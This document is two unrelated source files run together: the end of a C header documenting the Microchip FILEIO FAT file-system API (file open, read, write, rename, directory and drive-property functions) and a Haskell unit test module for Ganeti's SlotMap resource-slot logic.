* FILEIO_ERROR_DELETE_DIR - The file being deleted is actually
a directory (use FILEIO_DirectoryRemove)
* FILEIO_ERROR_ERASE_FAIL - The erase operation failed.
* FILEIO_ERROR_FILE_NOT_FOUND - The file entries for this file
are invalid or have already been erased.
* FILEIO_ERROR_WRITE - The updated file data and entry could
not be written to the device.
* FILEIO_ERROR_DONE - The directory entry could not be found.
* FILEIO_ERROR_BAD_SECTOR_READ - The directory entry could not
be cached.
******************************************************************************/
int FILEIO_Remove (const char * pathName);
/*******************************************************************************
Function:
int FILEIO_Rename (const char * oldPathname, const char * newFilename)
Summary:
Renames a file.
Description:
Renames a file specifed by oldPathname to the name specified by
newFilename.
Conditions:
The file's drive must be mounted and the file/path specified by
oldPathname must exist.
Input:
oldPathName - The path/name of the file to rename.
newFileName - The new name of the file.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet Note
that if the path cannot be resolved, the error will be returned for the
current working directory.
* FILEIO_ERROR_INVALID_ARGUMENT - The path could not be
resolved.
* FILEIO_ERROR_WRITE_PROTECTED - The device is write-protected.
* FILEIO_ERROR_INVALID_FILENAME - One of the file names is
invalid.
* FILEIO_ERROR_FILENAME_EXISTS - The new file name already
exists on this device.
* FILEIO_ERROR_FILE_NOT_FOUND - The file could not be found.
* FILEIO_ERROR_WRITE - The updated file data and entry could
not be written to the device.
* FILEIO_ERROR_DONE - The directory entry could not be found or
the library could not find a sufficient number of empty entries in the
dir to store the new file name.
* FILEIO_ERROR_BAD_SECTOR_READ - The directory entry could not
be cached.
* FILEIO_ERROR_ERASE_FAIL - The file's entries could not be
erased (applies when renaming a long file name)
* FILEIO_ERROR_DIR_FULL - New file entries could not be
created.
* FILEIO_ERROR_BAD_CACHE_READ - The lfn entries could not be
cached.
*******************************************************************************/
int FILEIO_Rename (const char * oldPathName, const char * newFileName);
/************************************************************
Function:
int FILEIO_DirectoryMake (const char * path)
Summary:
Creates the directory/directories specified by 'path.'
Description:
Creates the directory/directories specified by 'path.'
Conditions:
The specified drive must be mounted.
Input:
path - Path string containing all directories to create.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
************************************************************/
int FILEIO_DirectoryMake (const char * path);
/*************************************************************************
Function:
int FILEIO_DirectoryChange (const char * path)
Summary:
Changes the current working directory.
Description:
Changes the current working directory to the directory specified by
'path.'
Conditions:
The specified drive must be mounted and the directory being changed to
should exist.
Input:
path - The path of the directory to change to.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
*************************************************************************/
int FILEIO_DirectoryChange (const char * path);
/******************************************************************************
Function:
uint16_t FILEIO_DirectoryGetCurrent (char * buffer, uint16_t size)
Summary:
Gets the name of the current working directory.
Description:
Gets the name of the current working directory and stores it in
'buffer.' The directory name will be null-terminated. If the buffer
size is insufficient to contain the whole path name, as much as
possible will be copied and null-terminated.
Conditions:
A drive must be mounted.
Input:
buffer - The buffer to contain the current working directory name.
size - Size of the buffer (bytes).
Return:
* uint16_t - The number of characters in the current working
directory name. May exceed the size of the buffer. In this case, the
name will be truncated to 'size' characters, but the full length of the
path name will be returned.
* Sets error code which can be retrieved with FILEIO_ErrorGet
* FILEIO_ERROR_INVALID_ARGUMENT - The arguments for the buffer
or its size were invalid.
* FILEIO_ERROR_DIR_NOT_FOUND - One of the directories in your
current working directory could not be found in its parent directory.
******************************************************************************/
uint16_t FILEIO_DirectoryGetCurrent (char * buffer, uint16_t size);
/************************************************************************
Function:
int FILEIO_DirectoryRemove (const char * pathName)
Summary:
Deletes a directory.
Description:
Deletes a directory. The specified directory must be empty.
Conditions:
The directory's drive must be mounted and the directory should exist.
Input:
pathName - The path/name of the directory to delete.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
************************************************************************/
int FILEIO_DirectoryRemove (const char * pathName);
/***************************************************************************
Function:
FILEIO_ERROR_TYPE FILEIO_ErrorGet (char driveId)
Summary:
Gets the last error condition of a drive.
Description:
Gets the last error condition of the specified drive.
Precondition:
The drive must have been mounted.
Parameters:
driveId - The character representation of the drive.
Returns:
FILEIO_ERROR_TYPE - The last error that occurred on the drive.
***************************************************************************/
FILEIO_ERROR_TYPE FILEIO_ErrorGet (char driveId);
/***************************************************************************
Function:
void FILEIO_ErrorClear (char driveId)
Summary:
Clears the last error on a drive.
Description:
Clears the last error of the specified drive.
Precondition:
The drive must have been mounted.
Parameters:
driveId - The character representation of the drive.
Returns:
void
***************************************************************************/
void FILEIO_ErrorClear (char driveId);
/***************************************************************************************
Function:
int FILEIO_Open (FILEIO_OBJECT * filePtr, const char * pathName, uint16_t mode)
Summary:
Opens a file for access.
Description:
Opens a file for access using a combination of modes specified by the
user.
Conditions:
The drive containing the file must be mounted.
Input:
filePtr - Pointer to the file object to initialize
pathName - The path/name of the file to open.
mode - The mode in which the file should be opened. Specified by
inclusive or'ing parameters from FILEIO_OPEN_ACCESS_MODES.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet Note
that if the path cannot be resolved, the error will be returned for the
current working directory.
* FILEIO_ERROR_INVALID_ARGUMENT - The path could not be
resolved.
* FILEIO_ERROR_WRITE_PROTECTED - The device is write protected
or this function was called in a write/create mode when writes are
disabled in configuration.
* FILEIO_ERROR_INVALID_FILENAME - The file name is invalid.
* FILEIO_ERROR_ERASE_FAIL - There was an error when trying to
truncate the file.
* FILEIO_ERROR_WRITE - Cached file data could not be written to
the device.
* FILEIO_ERROR_DONE - The directory entry could not be found.
* FILEIO_ERROR_BAD_SECTOR_READ - The directory entry could not
be cached.
* FILEIO_ERROR_DRIVE_FULL - There are no more clusters
available on this device that can be allocated to the file.
* FILEIO_ERROR_FILENAME_EXISTS - All of the possible alias
values for this file are in use.
* FILEIO_ERROR_BAD_CACHE_READ - There was an error caching LFN
entries.
* FILEIO_ERROR_INVALID_CLUSTER - The next cluster in the file
is invalid (can occur in APPEND mode).
* FILEIO_ERROR_COULD_NOT_GET_CLUSTER - There was an error
finding the cluster that contained the specified offset (can occur in
APPEND mode).
***************************************************************************************/
int FILEIO_Open (FILEIO_OBJECT * filePtr, const char * pathName, uint16_t mode);
/***************************************************************************
Function:
int FILEIO_Close (FILEIO_OBJECT * handle)
Summary:
Closes a file.
Description:
Closes a file. This will save the unwritten data to the file and
make the memory used to allocate a file available to open other
files.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
handle - The handle of the file to close.
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet
* FILEIO_ERROR_WRITE - Data could not be written to the device.
* FILEIO_ERROR_BAD_CACHE_READ - The file's directory entry
could not be cached.
***************************************************************************/
int FILEIO_Close (FILEIO_OBJECT * handle);
/***************************************************************************
Function:
int FILEIO_Flush (FILEIO_OBJECT * handle)
Summary:
Saves unwritten file data to the device without closing the file.
Description:
Saves unwritten file data to the device without closing the file.
This function is useful if the user needs to continue writing to
a file but also wants to ensure that data isn't lost in the event
of a reset or power loss condition.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
handle - The handle of the file to flush.
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet
* FILEIO_ERROR_WRITE - Data could not be written to the device.
* FILEIO_ERROR_BAD_CACHE_READ - The file's directory entry
could not be cached.
***************************************************************************/
int FILEIO_Flush (FILEIO_OBJECT * handle);
/***************************************************************************
Function:
int FILEIO_GetChar (FILEIO_OBJECT * handle)
Summary:
Reads a character from a file.
Description:
Reads a character from a file.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
handle - The handle of the file.
Returns:
* If Success: The character that was read (cast to an int).
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet
* FILEIO_ERROR_WRITE_ONLY - The file is not opened in read
mode.
* FILEIO_ERROR_BAD_SECTOR_READ - There was an error reading the
FAT to determine the next cluster in the file, or an error reading the
file data.
* FILEIO_ERROR_INVALID_CLUSTER - The next cluster in the file
is invalid.
* FILEIO_ERROR_EOF - There is no next cluster in the file (EOF)
* FILEIO_ERROR_WRITE - Cached data could not be written to the
device.
*******************************************************************************/
int FILEIO_GetChar (FILEIO_OBJECT * handle);
/***************************************************************************
Function:
int FILEIO_PutChar (char c, FILEIO_OBJECT * handle)
Summary:
Writes a character to a file.
Description:
Writes a character to a file.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
c - The character to write.
handle - The handle of the file.
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet
* FILEIO_ERROR_READ_ONLY - The file was not opened in write
mode.
* FILEIO_ERROR_WRITE_PROTECTED - The media is write-protected.
* FILEIO_ERROR_BAD_SECTOR_READ - There was an error reading the
FAT to determine the next cluster in the file, or an error reading the
file data.
* FILEIO_ERROR_INVALID_CLUSTER - The next cluster in the file
is invalid.
* FILEIO_ERROR_WRITE - Cached data could not be written to the
device.
* FILEIO_ERROR_BAD_SECTOR_READ - File data could not be cached.
* FILEIO_ERROR_DRIVE_FULL - There are no more clusters on the
media that can be allocated to the file.
*******************************************************************************/
int FILEIO_PutChar (char c, FILEIO_OBJECT * handle);
/***************************************************************************
Function:
size_t FILEIO_Read (void * buffer, size_t size, size_t count,
FILEIO_OBJECT * handle)
Summary:
Reads data from a file.
Description:
Reads data from a file and stores it in 'buffer.'
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
buffer - The buffer that the data will be written to.
size - The size of data objects to read, in bytes
count - The number of data objects to read
handle - The handle of the file.
Returns:
The number of data objects that were read. This value will match
'count' if the read was successful, or be less than count if it was
not.
Sets error code which can be retrieved with FILEIO_ErrorGet:
* FILEIO_ERROR_WRITE_ONLY - The file is not opened in read mode.
* FILEIO_ERROR_BAD_SECTOR_READ - There was an error reading the
FAT to determine the next cluster in the file, or an error reading the
\file data.
* FILEIO_ERROR_INVALID_CLUSTER - The next cluster in the file is
invalid.
* FILEIO_ERROR_EOF - There is no next cluster in the file (EOF)
* FILEIO_ERROR_WRITE - Cached data could not be written to the
device.
*****************************************************************************/
size_t FILEIO_Read (void * buffer, size_t size, size_t count, FILEIO_OBJECT * handle);
/***************************************************************************
Function:
size_t FILEIO_Write (void * buffer, size_t size, size_t count,
FILEIO_OBJECT * handle)
Summary:
Writes data to a file.
Description:
Writes data from 'buffer' to a file.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
buffer - The buffer that contains the data to write.
size - The size of data objects to write, in bytes
count - The number of data objects to write
handle - The handle of the file.
Returns:
The number of data objects that were written. This value will match
'count' if the write was successful, or be less than count if it was
not.
Sets error code which can be retrieved with FILEIO_ErrorGet:
* FILEIO_ERROR_READ_ONLY - The file was not opened in write mode.
* FILEIO_ERROR_WRITE_PROTECTED - The media is write-protected.
* FILEIO_ERROR_BAD_SECTOR_READ - There was an error reading the
FAT to determine the next cluster in the file, or an error reading the
file data.
* FILEIO_ERROR_INVALID_CLUSTER - The next cluster in the file is
invalid.
* FILEIO_ERROR_WRITE - Cached data could not be written to the
device.
* FILEIO_ERROR_BAD_SECTOR_READ - File data could not be cached.
* FILEIO_ERROR_DRIVE_FULL - There are no more clusters on the
media that can be allocated to the file.
*****************************************************************************/
size_t FILEIO_Write (const void * buffer, size_t size, size_t count, FILEIO_OBJECT * handle);
/***************************************************************************
Function:
int FILEIO_Seek (FILEIO_OBJECT * handle, int32_t offset, int base)
Summary:
Changes the current read/write position in the file.
Description:
Changes the current read/write position in the file.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
handle - The handle of the file.
offset - The offset of the new read/write position (in bytes) from
the base location. The offset will be added to FILEIO_SEEK_SET
or FILEIO_SEEK_CUR, or subtracted from FILEIO_SEEK_END.
base - The base location. Is of the FILEIO_SEEK_BASE type.
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet
* FILEIO_ERROR_WRITE - Cached data could not be written to the
device.
* FILEIO_ERROR_INVALID_ARGUMENT - The specified location
exceeds the file's size.
* FILEIO_ERROR_BAD_SECTOR_READ - There was an error reading the
FAT to determine the next cluster in the file, or an error reading the
file data.
* FILEIO_ERROR_INVALID_CLUSTER - The next cluster in the file
is invalid.
* FILEIO_ERROR_DRIVE_FULL - There are no more clusters on the
media that can be allocated to the file. Clusters will be allocated to
the file if the file is opened in a write mode and the user seeks to
the end of a file that ends on a cluster boundary.
* FILEIO_ERROR_COULD_NOT_GET_CLUSTER - There was an error
finding the cluster that contained the specified offset.
*******************************************************************************/
int FILEIO_Seek (FILEIO_OBJECT * handle, int32_t offset, int base);
/***************************************************************************
Function:
bool FILEIO_Eof (FILEIO_OBJECT * handle)
Summary:
Determines if the file's current read/write position is at the end
of the file.
Description:
Determines if the file's current read/write position is at the end
of the file.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
handle - The handle of the file.
Returns:
* If EOF: true
* If Not EOF: false
*************************************************************************/
bool FILEIO_Eof (FILEIO_OBJECT * handle);
/***************************************************************************
Function:
long FILEIO_Tell (FILEIO_OBJECT * handle)
Summary:
Returns the current read/write position in the file.
Description:
Returns the current read/write position in the file.
Precondition:
The drive containing the file must be mounted and the file handle
must represent a valid, opened file.
Parameters:
handle - THe handle of the file.
Returns:
long - Offset of the current read/write position from the beginning
of the file, in bytes.
***************************************************************************/
long FILEIO_Tell (FILEIO_OBJECT * handle);
/******************************************************************************
Function:
int FILEIO_Find (const char * fileName, unsigned int attr,
FILEIO_SEARCH_RECORD * record, bool newSearch)
Summary:
Searches for a file in the current working directory.
Description:
Searches for a file in the current working directory.
Conditions:
A drive must have been mounted by the FILEIO library.
Input:
fileName - The file's name. May contain limited partial string search
elements. '?' can be used as a single\-character wild\-card
and '*' can be used as a multiple\-character wild card
(only at the end of the file's name or extension).
attr - Inclusive OR of all of the attributes (FILEIO_ATTRIBUTES
structure members) that a found file may have.
record - Structure containing parameters about the found file. Also
contains private information used for additional searches
for files that match the given criteria in the same
directory.
newSearch - true if this is the first search for the specified file
\parameters in the specified directory, false otherwise.
This parameter must be specified as 'true' the first time
this function is called with any given FILEIO_SEARCH_RECORD
structure. The same FILEIO_SEARCH_RECORD structure should
be used with subsequent calls of this function to search
for additional files matching the given criteria.
Return:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Returns file information in the record parameter.
* Sets error code which can be retrieved with FILEIO_ErrorGet Note
that if the path cannot be resolved, the error will be returned for the
current working directory.
* FILEIO_ERROR_INVALID_ARGUMENT - The path could not be
resolved.
* FILEIO_ERROR_INVALID_FILENAME - The file name is invalid.
* FILEIO_ERROR_BAD_CACHE_READ - There was an error searching
directory entries.
* FILEIO_ERROR_DONE - File not found.
******************************************************************************/
int FILEIO_Find (const char * fileName, unsigned int attr, FILEIO_SEARCH_RECORD * record, bool newSearch);
/***************************************************************************
Function:
int FILEIO_LongFileNameGet (FILEIO_SEARCH_RECORD * record, uint16_t * buffer, uint16_t length)
Summary:
Obtains the long file name of a file found by the FILEIO_Find
function.
Description:
This function will obtain the long file name of a file found
by the FILEIO_Find function and copy it into a user-specified
buffer. The name will be returned in unicode characters.
Precondition:
A drive must have been mounted by the FILEIO library. The
FILEIO_SEARCH_RECORD structure must contain valid file information
obtained from the FILEIO_Find function.
Parameters:
record - The file record obtained from a successful call of
FILEIO_Find.
buffer - A buffer to contain the long file name of the file.
length - The length of the buffer, in 16-bit words.
Returns:
* If Success: FILEIO_RESULT_SUCCESS
* If Failure: FILEIO_RESULT_FAILURE
* Sets error code which can be retrieved with FILEIO_ErrorGet Note
that if the path cannot be resolved, the error will be returned for the
current working directory.
* FILEIO_ERROR_INVALID_ARGUMENT - The path could not be
resolved.
* FILEIO_ERROR_NO_LONG_FILE_NAME - The short file name does not
have an associated long file name.
* FILEIO_ERROR_DONE - The directory entry could not be cached
because the entryOffset contained in record was invalid.
* FILEIO_ERROR_WRITE - Cached data could not be written to the
device.
* FILEIO_ERROR_BAD_SECTOR_READ - The directory entry could not
be cached because there was an error reading from the device.
***************************************************************************************************/
int FILEIO_LongFileNameGet (FILEIO_SEARCH_RECORD * record, uint16_t * buffer, uint16_t length);
/********************************************************************
Function:
FILEIO_FILE_SYSTEM_TYPE FILEIO_FileSystemTypeGet (char driveId)
Summary:
Describes the file system type of a file system.
Description:
Describes the file system type of a file system.
Conditions:
A drive must have been mounted by the FILEIO library.
Input:
driveId - Character representation of the mounted device.
Return:
* If Success: FILEIO_FILE_SYSTEM_TYPE enumeration member
* If Failure: FILEIO_FILE_SYSTEM_NONE
********************************************************************/
FILEIO_FILE_SYSTEM_TYPE FILEIO_FileSystemTypeGet (char driveId);
/*********************************************************************************
Function:
void FILEIO_DrivePropertiesGet()
Summary:
Allows user to get the drive properties (size of drive, free space, etc)
Conditions:
1) ALLOW_GET_FILEIO_DRIVE_PROPERTIES must be defined in FSconfig.h
2) a FS_FILEIO_DRIVE_PROPERTIES object must be created before the function is called
3) the new_request member of the FS_FILEIO_DRIVE_PROPERTIES object must be set before
calling the function for the first time. This will start a new search.
4) this function should not be called while there is a file open. Close all
files before calling this function.
Input:
properties - a pointer to a FS_FILEIO_DRIVE_PROPERTIES object where the results should
be stored.
Return Values:
This function returns void. The properties_status of the previous call of
this function is located in the properties.status field. This field has
the following possible values:
FILEIO_GET_PROPERTIES_NO_ERRORS - operation completed without error. Results
are in the properties object passed into the function.
FILEIO_GET_PROPERTIES_DRIVE_NOT_MOUNTED - there is no mounted disk. Results in
properties object is not valid
FILEIO_GET_PROPERTIES_CLUSTER_FAILURE - there was a failure trying to read a
cluster from the drive. The results in the properties object is a partial
result up until the point of the failure.
FILEIO_GET_PROPERTIES_STILL_WORKING - the search for free sectors is still in
process. Continue calling this function with the same properties pointer
until either the function completes or until the partial results meets the
application needs. The properties object contains the partial results of
the search and can be used by the application.
Side Effects:
Can cause errors if called when files are open. Close all files before
calling this function.
Calling this function without setting the new_request member on the first
call can result in undefined behavior and results.
Calling this function after a result is returned other than
FILEIO_GET_PROPERTIES_STILL_WORKING can result in undefined behavior and results.
Description:
This function returns the information about the mounted drive. The results
member of the properties object passed into the function is populated with
the information about the drive.
Before starting a new request, the new_request member of the properties
input parameter should be set to true. This will initiate a new search
request.
This function will return before the search is complete with partial results.
All of the results except the free_clusters will be correct after the first
call. The free_clusters will contain the number of free clusters found up
until that point, thus the free_clusters result will continue to grow until
the entire drive is searched. If an application only needs to know that a
certain number of bytes is available and doesn't need to know the total free
size, then this function can be called until the required free size is
verified. To continue a search, pass a pointer to the same FILEIO_FILEIO_DRIVE_PROPERTIES
object that was passed in to create the search.
A new search request should be made once this function has returned a value
other than FILEIO_GET_PROPERTIES_STILL_WORKING. Continuing a completed search
can result in undefined behavior or results.
Typical Usage:
<code>
FILEIO_DRIVE_PROPERTIES disk_properties;
disk_properties.new_request = true;
do
{
FILEIO_DiskPropertiesGet(&disk_properties, 'A');
} while (disk_properties.properties_status == FILEIO_GET_PROPERTIES_STILL_WORKING);
</code>
results.disk_format - contains the format of the drive. Valid results are
FAT12(1), FAT16(2), or FAT32(3).
results.sector_size - the sector size of the mounted drive. Valid values are
512, 1024, 2048, and 4096.
results.sectors_per_cluster - the number sectors per cluster.
results.total_clusters - the number of total clusters on the drive. This
can be used to calculate the total disk size (total_clusters *
sectors_per_cluster * sector_size = total size of drive in bytes)
results.free_clusters - the number of free (unallocated) clusters on the drive.
This can be used to calculate the total free disk size (free_clusters *
sectors_per_cluster * sector_size = total size of drive in bytes)
Remarks:
PIC24F size estimates:
Flash - 400 bytes (-Os setting)
PIC24F speed estimates:
Search takes approximately 7 seconds per Gigabyte of drive space. Speed
will vary based on the number of sectors per cluster and the sector size.
*********************************************************************************/
void FILEIO_DrivePropertiesGet (FILEIO_DRIVE_PROPERTIES* properties, char driveId);
#endif
| {'content_hash': '00d1aeba2d2983c29725450cbc70da86', 'timestamp': '', 'source': 'github', 'line_count': 1471, 'max_line_length': 176, 'avg_line_length': 42.130523453433035, 'alnum_prop': 0.5914899796688934, 'repo_name': 'medo64/TmpUsb', 'id': 'a8095af34c28abf7a0362ddfed5400aabcb87f8e', 'size': '63489', 'binary': False, 'copies': '1', 'ref': 'refs/heads/main', 'path': 'firmware/src/Microchip/Framework/fileio/fileio.h', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '840025'}, {'name': 'Makefile', 'bytes': '42992'}, {'name': 'PHP', 'bytes': '144'}, {'name': 'PowerShell', 'bytes': '8819'}, {'name': 'Shell', 'bytes': '1333'}]} |
{-# LANGUAGE TemplateHaskell, ScopedTypeVariables #-}
{-# OPTIONS_GHC -fno-warn-orphans #-}
{-| Unittests for the SlotMap.
-}
{-
Copyright (C) 2014 Google Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-}
module Test.Ganeti.SlotMap
( testSlotMap
, genSlotLimit
, genTestKey
, overfullKeys
) where
import Prelude hiding (all)
import Control.Applicative
import Control.Monad
import Data.Foldable (all)
import qualified Data.Map as Map
import Data.Map (Map, member, keys, keysSet)
import Data.Set (Set, size, union)
import qualified Data.Set as Set
import Data.Traversable (traverse)
import Test.HUnit
import Test.QuickCheck
import Test.Ganeti.TestCommon
import Test.Ganeti.TestHelper
import Test.Ganeti.Types ()
import Ganeti.SlotMap
{-# ANN module "HLint: ignore Use camelCase" #-}
-- | Generates a number typical for the limit of a `Slot`.
-- Useful for constructing resource bounds when not directly constructing
-- the relevant `Slot`s.
genSlotLimit :: Gen Int
genSlotLimit = frequency [ (9, choose (1, 5))
, (1, choose (1, 100))
] -- Don't create huge slot limits.
instance Arbitrary Slot where
arbitrary = do
limit <- genSlotLimit
occ <- choose (0, limit * 2)
return $ Slot occ limit
-- | Generates a number typical for the occupied count of a `Slot`.
-- Useful for constructing `CountMap`s.
genSlotCount :: Gen Int
genSlotCount = slotOccupied <$> arbitrary
-- | Takes a slot and resamples its `slotOccupied` count to fit the limit.
resampleFittingSlot :: Slot -> Gen Slot
resampleFittingSlot (Slot _ limit) = do
occ <- choose (0, limit)
return $ Slot occ limit
-- | What we use as key for testing `SlotMap`s.
type TestKey = String
-- | Generates short strings used as `SlotMap` keys.
--
-- We limit ourselves to a small set of key strings with high probability to
-- increase the chance that `SlotMap`s actually have more than one slot taken.
genTestKey :: Gen TestKey
genTestKey = frequency [ (9, elements ["a", "b", "c", "d", "e"])
, (1, genPrintableAsciiString)
]
-- | Generates small lists.
listSizeGen :: Gen Int
listSizeGen = frequency [ (9, choose (1, 5))
, (1, choose (1, 100))
]
-- | Generates a `SlotMap` given a generator for the keys (see `genTestKey`).
genSlotMap :: (Ord a) => Gen a -> Gen (SlotMap a)
genSlotMap keyGen = do
n <- listSizeGen -- don't create huge `SlotMap`s
Map.fromList <$> vectorOf n ((,) <$> keyGen <*> arbitrary)
-- | Generates a `CountMap` given a generator for the keys (see `genTestKey`).
genCountMap :: (Ord a) => Gen a -> Gen (CountMap a)
genCountMap keyGen = do
n <- listSizeGen -- don't create huge `CountMap`s
Map.fromList <$> vectorOf n ((,) <$> keyGen <*> genSlotCount)
-- | Tells which keys of a `SlotMap` are overfull.
overfullKeys :: (Ord a) => SlotMap a -> Set a
overfullKeys sm =
Set.fromList [ a | (a, Slot occ limit) <- Map.toList sm, occ > limit ]
-- | Generates a `SlotMap` for which all slots are within their limits.
genFittingSlotMap :: (Ord a) => Gen a -> Gen (SlotMap a)
genFittingSlotMap keyGen = do
-- Generate a SlotMap, then resample all slots to be fitting.
slotMap <- traverse resampleFittingSlot =<< genSlotMap keyGen
when (isOverfull slotMap) $ error "BUG: FittingSlotMap Gen is wrong"
return slotMap
-- * Test cases
case_isOverfull :: Assertion
case_isOverfull = do
assertBool "overfull"
. isOverfull $ Map.fromList [("buck", Slot 3 2)]
assertBool "not overfull"
. not . isOverfull $ Map.fromList [("buck", Slot 2 2)]
assertBool "empty"
. not . isOverfull $ (Map.fromList [] :: SlotMap TestKey)
case_occupySlots_examples :: Assertion
case_occupySlots_examples = do
let a n = ("a", Slot n 2)
let b n = ("b", Slot n 4)
let sm = Map.fromList [a 1, b 2]
cm = Map.fromList [("a", 1), ("b", 1), ("c", 5)]
assertEqual "fitting occupySlots"
(sm `occupySlots` cm)
(Map.fromList [a 2, b 3, ("c", Slot 5 0)])
-- | Union of the keys of two maps.
keyUnion :: (Ord a) => Map a b -> Map a c -> Set a
keyUnion a b = keysSet a `union` keysSet b
-- | Tests properties of `SlotMap`s being filled up.
prop_occupySlots :: Property
prop_occupySlots =
forAll arbitrary $ \(sm :: SlotMap Int, cm :: CountMap Int) ->
let smOcc = sm `occupySlots` cm
in conjoin
[ counterexample "input keys are preserved" $
all (`member` smOcc) (keyUnion sm cm)
, counterexample "all keys must come from the input keys" $
all (`Set.member` keyUnion sm cm) (keys smOcc)
]
-- | Tests for whether there's still space for a job given its rate
-- limits.
case_hasSlotsFor_examples :: Assertion
case_hasSlotsFor_examples = do
let a n = ("a", Slot n 2)
let b n = ("b", Slot n 4)
let c n = ("c", Slot n 8)
let sm = Map.fromList [a 1, b 2]
assertBool "fits" $
sm `hasSlotsFor` Map.fromList [("a", 1), ("b", 1)]
assertBool "doesn't fit"
. not $ sm `hasSlotsFor` Map.fromList [("a", 1), ("b", 3)]
let smOverfull = Map.fromList [a 1, b 2, c 10]
assertBool "fits (untouched keys overfull)" $
isOverfull smOverfull
&& smOverfull `hasSlotsFor` Map.fromList [("a", 1), ("b", 1)]
assertBool "empty fitting" $
Map.empty `hasSlotsFor` (Map.empty :: CountMap TestKey)
assertBool "empty not fitting"
. not $ Map.empty `hasSlotsFor` Map.fromList [("a", 1), ("b", 100)]
assertBool "empty not fitting"
. not $ Map.empty `hasSlotsFor` Map.fromList [("a", 1)]
-- | Tests properties of `hasSlotsFor` on `SlotMap`s that are known to
-- respect their limits.
prop_hasSlotsFor_fitting :: Property
prop_hasSlotsFor_fitting =
forAll (genFittingSlotMap genTestKey) $ \sm ->
forAll (genCountMap genTestKey) $ \cm ->
sm `hasSlotsFor` cm ==? not (isOverfull $ sm `occupySlots` cm)
-- | Tests properties of `hasSlotsFor`, irrespective of whether the
-- input `SlotMap`s respect their limits or not.
prop_hasSlotsFor :: Property
prop_hasSlotsFor =
let -- Generates `SlotMap`s for combining.
genMaps = resize 10 $ do -- We don't need very large SlotMaps.
sm1 <- genSlotMap genTestKey
-- We need to make sm2 smaller to make `hasSlots` below more
-- likely (otherwise the LHS of ==> is always false).
sm2 <- sized $ \n -> resize (n `div` 3) (genSlotMap genTestKey)
-- We also want to test (sm1, sm1); we have to make it more
-- likely for it to ever happen.
frequency [ (1, return (sm1, sm1))
, (9, return (sm1, sm2)) ]
in forAll genMaps $ \(sm1, sm2) ->
let fits = sm1 `hasSlotsFor` toCountMap sm2
smOcc = sm1 `occupySlots` toCountMap sm2
oldOverfullBucks = overfullKeys sm1
newOverfullBucks = overfullKeys smOcc
in conjoin
[ counterexample "if there's enough extra space, then the new\
\ overfull keys must be as before" $
fits ==> (newOverfullBucks ==? oldOverfullBucks)
-- Note that the other way around does not hold:
-- (newOverfullBucks == oldOverfullBucks) ==> fits
, counterexample "joining SlotMaps must not change the number of\
\ overfull keys (but may change their slot\
\ counts"
. property $ size newOverfullBucks >= size oldOverfullBucks
]
testSuite "SlotMap"
[ 'case_isOverfull
, 'case_occupySlots_examples
, 'prop_occupySlots
, 'case_hasSlotsFor_examples
, 'prop_hasSlotsFor_fitting
, 'prop_hasSlotsFor
]
